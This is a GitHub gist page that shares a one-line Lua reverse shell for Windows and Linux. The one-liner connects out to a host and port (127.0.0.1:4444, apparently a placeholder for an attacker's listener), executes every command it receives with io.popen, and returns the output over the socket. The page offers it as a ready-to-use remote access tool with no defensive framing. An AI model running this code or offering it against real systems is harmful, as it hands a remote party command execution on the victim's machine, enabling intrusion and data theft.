Skip to content

Instantly share code, notes, and snippets.

@xtiankisutsa
Forked from cldrn/lua-reverse-shell.lua
Created October 10, 2018 08:40
Show Gist options
  • Save xtiankisutsa/a72d14523a480a65426d5e04b2cdae35 to your computer and use it in GitHub Desktop.
Save xtiankisutsa/a72d14523a480a65426d5e04b2cdae35 to your computer and use it in GitHub Desktop.
Reverse Shell For Windows and Linux in Lua
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment